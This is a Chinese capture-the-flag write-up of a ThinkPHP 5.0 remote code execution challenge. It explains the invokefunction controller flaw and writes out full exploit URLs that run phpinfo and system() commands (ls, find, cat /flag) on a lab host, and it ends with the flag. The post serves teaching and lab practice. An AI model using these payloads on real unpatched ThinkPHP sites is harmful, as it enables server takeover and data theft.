先访问题目场景:

主页提示我们:网页使用的是ThinkPHP框架,版本为5.0
这道题主要是考察:ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本。
攻击的exp是:http://111.200.241.244:61059/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

通过s就可以获取路由信息,程序未对控制器进行过滤,导致攻击者可以用 \(反斜杠)调用任意类方法。其中:
- index/是对应的模块
- \think\app 以反斜线开头,这就是我们想要实例化的类
- /invokefunction是让\think\app类想要调用的方法,
- function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1是对应invokefunction的参数。
对于选用invokefunction这个函数,是因为它是个反射函数,可以方便的调用任何函数。
关于如何解析把function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1这些解析成invokefuncition参数的,可以看下Request.php 对应的param函数。
需要注意的是不同版本的ThinkPHP,对应的文件、类名有些差异。当然还有很多的攻击方式,只要你去文件找到可以实例化的类构造相应的payload就行。
运行shell命令ls查看当前目录下的文件:http://111.200.241.244:61059/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

可以看到当前目录下的文件
查找根目录下的文件:http://111.200.241.244:61059/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
参数/是根目录的意思,这表示显示根目录下的文件:

也可以使用find命令查找flag:
find / -name flag
或者
find / -name '*flag'
攻击:http://111.200.241.244:61059/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag

都可以找到flag文件所在的位置
之后使用cat命令查看/flag文件内容:
cat /flag
攻击:http://111.200.241.244:61059/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

得到flag:flag{thinkphp5_rce}
本文详细介绍了ThinkPHP5.0框架的一个严重远程代码执行漏洞,该漏洞允许攻击者通过构造特定URL来调用任意类方法,如使用`invokefunction`反射函数执行系统命令。攻击者可以利用此漏洞执行ls、find等系统命令,查找并读取敏感文件,例如找到并显示flag文件内容。解决该问题的关键在于更新到安全版本并加强输入验证。
1519

被折叠的 条评论
为什么被折叠?



